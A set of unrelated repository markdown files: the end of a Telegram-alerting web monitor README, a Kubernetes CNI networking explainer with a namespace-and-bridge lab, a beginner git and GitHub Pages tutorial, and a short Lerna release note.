Then app will start automatically and will check the course page in every 2 minutes. If desired course exist within the page, an automatic message will be sent to the telegram group.

## How to export monitoring app as .exe for windows?
If you are using windows instead of using the command line you may want to convert the application into .exe format and start using it with an only a double click. Again download the repo and extract it to a location you want and open directory folder with "cd /Users/user/Desktop/Web-Monitor" like in the previous example. As a next step just run the following command:

```bash
pyinstaller --onefile -w "web_monitor.py"
```
After that, a new file will be created under the name "dist" in the same file. In it you can find a ready-to-run program called web_monitor.exe. Just double click to run the application.

## How to setup telegram bot and the group for automated messages?

* first go the the telegram app and search for "@botfather":

* Write "/newbot" to create new bot and choose a new name and also an user name for the new bot.

* After that store access token for the bot to able to send automated messages.

* Also invite the bot to the desired telegram group.

repository: ogulkokan/Web-Monitor

repo_name: ogulkokan/Web-Monitor


text:
# Kubernetes networking explained

Brief description of Kubernetes networking internals

## Motivation

Unlike classic Docker networking which uses simple bridge to interconnect
containers and port-forwarding (proxy or NAT) K8S has addition requirements on
network fabric:

1. all containers can communicate with all other containers without NAT
2. all nodes can communicate with all containers (and vice-versa) without NAT
3. the IP that a container sees itself as is the same IP that others see it as

Obviously classic Docker network setup unable to provide this features in case
of more than one node.

K8S itself doesn't have built-in networking solutions (except for one-node case)
to fulfil this requirements. But there're a lot of 3rd-parti solutions to
implement network fabric. Every product has it's pros and cons, so it was a good
idea to make networking fabric independent and pluggable.

More about K8S networking solutions [here][1].

For this purposes K8S supports CNI plugins to manage networking. More about K8S
CNI (and other modes) [here][2].

## Docker network example

We can easily simulate docker-alike networking using namespaces, virtual
ethernet devices and a bridge.

Network diagram:

```text
+----------------------------------------------------+
| Linux host                                         |
| +----------------------+  +----------------------+ |
| | netns node1          |  | netns node2          | |
| |       +              |  |       +              | |
| |       | vethA        |  |       | vethX        | |
| |       | <IP_ADDRESS>/24 |  |       | <IP_ADDRESS>/24 | |
| |       |              |  |       |              | |
| +----------------------+  +----------------------+ |
|         |                         |                |
|         | vethB                   | vethY          |
|         |                         |                |
|   br0 +-------------------------------+            |
|       +-------------------------------+            |
|                                                    |
+----------------------------------------------------+
```

You can run this script to create this network configuration:

```shell
# Create bridge on host to interconnect virtual ethernets
ip link add br0 type bridge
ip link set br0 up

# Creating virtual ethernet pairs vethA-vethB and vethX-vethY
ip link add vethA type veth peer name vethB
ip link add vethX type veth peer name vethY
ip link set vethB up
ip link set vethY up

# Adding network namespaces node1 and node2
# They will work as containers with independent networking
ip netns add node1
ip netns add node2

# Put one end of each pair to each of netns'es
ip link set vethA netns node1
ip link set vethX netns node2

# Bring interfaces inside netns up
# This should be done AFTER putting interfaces to netns because this movet turns interfaces off
ip netns exec node1 ip link set vethA up
ip netns exec node2 ip link set vethX up

# Assign IP addresses from same <IP_ADDRESS>/24 subnet
ip netns exec node1 ip address add <IP_ADDRESS>/24 dev vethA
ip netns exec node2 ip address add <IP_ADDRESS>/24 dev vethX

# Link on-host ends of veths to bridge, i.e. providing L2 connectivity between veth'es
ip link set vethB master br0
ip link set vethY master br0
```

Check connectivity between netns'es `node1` and `node2`:

```text
# ip netns exec node2 ping -c 3 <IP_ADDRESS>
PING <IP_ADDRESS> (<IP_ADDRESS>) 56(84) bytes of data.
64 bytes from <IP_ADDRESS>: icmp_seq=1 ttl=64 time=0.124 ms
64 bytes from <IP_ADDRESS>: icmp_seq=2 ttl=64 time=0.151 ms
64 bytes from <IP_ADDRESS>: icmp_seq=3 ttl=64 time=0.066 ms

--- <IP_ADDRESS> ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2054ms
rtt min/avg/max/mdev = 0.066/0.113/0.151/0.037 ms

# ip netns exec node1 ping -c 3 <IP_ADDRESS>
PING <IP_ADDRESS> (<IP_ADDRESS>) 56(84) bytes of data.
64 bytes from <IP_ADDRESS>: icmp_seq=1 ttl=64 time=0.079 ms
64 bytes from <IP_ADDRESS>: icmp_seq=2 ttl=64 time=0.062 ms
64 bytes from <IP_ADDRESS>: icmp_seq=3 ttl=64 time=0.103 ms

--- <IP_ADDRESS> ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2030ms
rtt min/avg/max/mdev = 0.062/0.081/0.103/0.018 ms
```

To destroy this setup simply run:

```shell
# Remove bridge
ip link set br0 down
ip link delete br0

# Remove namespaces
# We don't need to remove each of veth because `netns delete` destroys all interfaces
# inside itself, and veth can be destroyed by simply removing any of it's interfaces
ip netns delete node1
ip netns delete node2
```

## CNI basics

CNI (Container Network Interface) is a project which aims at providing universal
clean and easy way to connect containers to network fabric. *Container* here is
basically interchangeable with *Linux network namespace*. Simply speaking CNI
plugin is a wrapper command which configures network interfaces inside container
and attaches it to some backend network.

API is pretty simple, it consists of 3 operations:

* Add container to network
* Remove container to network
* Report self version

All arguments passed through environment variables. Plugin must return
JSON-serialized result which describes status of operation (like allocated IP,
created routes, etc). Also there is special type of plugin called IPAM
(IP address management) plugin, which function is to allocate IP addresses and
pass it to network cofiguration plugin.

CNI specification details described [here][3].

K8S expects CNI plugin binaries to be stored in `/opt/cni/bin` and configuration
files in `/etc/cni/net.d`. All plugin produced results are stored in
`/var/lib/cni/<plugin name>`.

## Lab installation

First, follow [installation instructions](README.md#installation)

## Sample pod configuration explored

Run `minikube start --network-driver=cni` to spin up K8S inside VirtualBox VM
with [bridge plugin][4] and [host-local ipam plugin][5] configured.

Let's deploy `nginx` application to cluster:

```text
$ kubectl run nginx --image=nginx
deployment "nginx" created
```

Make sure the pod is running:

```text
$ kubectl get pods
NAME                    READY     STATUS    RESTARTS   AGE
nginx-701339712-05fm4   1/1       Running   0          48s
```

Attach console to explore inside network:

```text
$ kubectl exec -t -i nginx-701339712-05fm4 -- /bin/bash
root@nginx-701339712-05fm4:/# ip a
...
4: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1460 qdisc noqueue state UP group default
    link/ether 0a:58:0a:01:00:04 brd ff:ff:ff:ff:ff:ff
    inet <IP_ADDRESS>/16 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::cf5:fff:fe7e:e2e2/64 scope link tentative dadfailed
       valid_lft forever preferred_lft forever
root@nginx-701339712-05fm4:/# ip r
default via <IP_ADDRESS> dev eth0
<IP_ADDRESS>/16 dev eth0  proto kernel  scope link  src <IP_ADDRESS>
```

As we see container has quite simple network config. We're interested only in
interface #4, which is one end of `veth` virtual interface. Suffix `@if10`
indicates that other end of this pipe is interface #10 (which is located
outside netns -- on host). IP configuration is pretty straightforward: pod has
one IP address allocated on `<IP_ADDRESS>/16` subnet using host-local plugin. It
gets IP addresses from configured subnet.

We can review CNI configuration using following command (on host):

```
$ minikube ssh
# Name of config file may differ from version to version of minikube
$ cat /etc/cni/net.d/k8s.conf
```

Configuration explained briefly:

```text
{
  "name": "rkt.kubernetes.io",
  "type": "bridge",     # network configuration plugin
  "bridge": "mybridge", # name of host bridge to use
  ...
  "isGateway": true,    # Bridge is used as gateway, i.e. first subnet address
                        # is assigned to it
  "ipMasq": true,       # Enable IP Masquerading to pods outgoing traffic
  "ipam": {                     # IPAM configuration following
    "type": "host-local",       # IPAM plugin name
    "subnet": "<IP_ADDRESS>/16",    # Allocation subnet
    "gateway": "<IP_ADDRESS>",      # Inform host-local that router is here to
                                # render consistent IP level configuration
    ...
  }
}
```

Inside VM (if you've exited, enter again using `minikube ssh` command) we
can explore K8S host networking part.

```text
$ ip a
...
7: mybridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1460 qdisc noqueue state UP group default qlen 1000
    link/ether 0a:58:0a:01:00:01 brd ff:ff:ff:ff:ff:ff
    inet <IP_ADDRESS>/16 scope global mybridge
       valid_lft forever preferred_lft forever
    inet6 fe80::d8da:1fff:fe99:e8c1/64 scope link
       valid_lft forever preferred_lft forever
8: vethd78e9f59@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1460 qdisc noqueue master mybridge state UP group default
    link/ether ce:30:18:e6:b7:a2 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::cc30:18ff:fee6:b7a2/64 scope link
       valid_lft forever preferred_lft forever
9: vethe0ce3592@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1460 qdisc noqueue master mybridge state UP group default
    link/ether 82:cf:10:3f:a5:38 brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::80cf:10ff:fe3f:a538/64 scope link
       valid_lft forever preferred_lft forever
10: veth10fac511@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1460 qdisc noqueue master mybridge state UP group default
    link/ether 02:29:a5:05:e4:7d brd ff:ff:ff:ff:ff:ff link-netnsid 2
    inet6 fe80::29:a5ff:fe05:e47d/64 scope link
       valid_lft forever preferred_lft forever
...
```

Host of course has `lo` and `ethX` interfaces in configuration required by
`docker-machine`. But our interest is here, as we see there is a bridge called
`mybridge` with gateway address assigned. And there are outer parts of `veths`
for containers.

*All `vethXXXX` interfaces have `@if4` suffix which indicates that they are
connected to "interface #4", but in every pod `eth` is interface #4, so it's
just meaningless suffix.*

Now see how interfaces are connected to bridge:

```text
$ brctl show
bridge name bridge id       STP enabled interfaces
docker0     8000.0242ec55eeb9   no
mybridge        8000.0a580a010001   no      veth10fac511
                            vethd78e9f59
                            vethe0ce3592
```

There's unused `docker0` bridge, and `mybridge` which is master of all outer
parts of `veths`.

Let's examine CNI plugins stored data:

```text
$ sudo -i
# ls /var/lib/cni/networks/rkt.kubernetes.io/
<IP_ADDRESS>          <IP_ADDRESS>          <IP_ADDRESS>          last_reserved_ip
# cat /var/lib/cni/networks/rkt.kubernetes.io/last_reserved_ip ; echo
<IP_ADDRESS>
# cat /var/lib/cni/networks/rkt.kubernetes.io/<IP_ADDRESS> ; echo
0fa93b0f771db74d3f1da588a3f9b413e47b90d30bdc4b0a93b7cc841a37a156
```

Directory `/var/lib/cni/networks` contains information of IPAM plugins. We can
see that host-local plugin tracks IP address which was allocated last
`last_reserved_ip` to allocate IPs in order. And every file named after
allocated IP contains ID of docker container network namespace.

[1]: https://kubernetes.io/docs/concepts/cluster-administration/networking/
[2]: https://kubernetes.io/docs/concepts/cluster-administration/network-plugins/
[3]: https://github.com/containernetworking/cni/blob/master/SPEC.md
[4]: https://github.com/containernetworking/cni/blob/master/Documentation/bridge.md
[5]: https://github.com/containernetworking/cni/blob/master/Documentation/host-local.md

repository: gravitational/workshop

repo_name: gravitational/workshop


text:
# Samples

## sample0

![sample0](image/sample0.png)

## sample1

![sample1](image/sample1.png)

## sample2

![sample2](image/sample2.png)

# Getting Started

## Git

### User Settings

```
$ git config --global user.name "Hirokazu Kiyomaru"
$ git config --global user.email<EMAIL_ADDRESS>```

### Initialize

```
$ git init
```

### Stage

```
$ git add <file pattern>
```

### Commit

```
$ git commit -m "Commit message"
```

### Check status

```
$ git status
```

### Check log

```
$ git log
```

### Check difference

```
$ git diff
```

## Create homepage

### Clone this repository

First, clone this repository and change directory.

```
$ git clone https://github.com/kiyomaro927/hp-practice.git
```

```
$ cd hp-practice/sample0
```

### Start up server

Then, start up a server with Python.

```
$ python -m SimpleHTTPServer
```

If you have Python3, this will go well.

```
$ python3 -m http.server
```

### Check

Get access to ```localhost:8000``` using your favorite browser, and make sure everything is ok.

### What's next?

As I was mentioned above, I prepared three sample pages(sample0/sample1/sample2).

I hope you'll make a wonderful Website based on them.

## Github

### Sign up

[Github](https://github.com/)

### Create repository

Repository name: __username.github.io__

### Push

```
$ git remote add origin https://github.com/username/username.github.io.git
$ git push -u origin master
```

### Check

Then, get access to ```http://username.github.io/```

Everyone around the world can show this page, so you have to make it cool!

repository: hkiyomaru/hp-practice

repo_name: hkiyomaru/hp-practice


text:
# Releases

We use Lerna to release packages because it automatically figures out what's changed in our packages since the last release and keeps cross project dependencies in sync.

Run `yarn lerna changed` to see a list of packages that will be published, and run `yarn lerna publish` to bump the versions and release them to the public.

## Troubleshooting

If `yarn lerna publish` has failed use the `yarn lerna publish from-package` command to publish the packages that aren't already in the registry.

## Resources

- https://github.com/lerna/lerna#readme
- https://www.christopherbiscardi.com/post/multi-package-repos-with-lerna/#but-why

repository: Africademy/redwood

repo_name: Africademy/redwood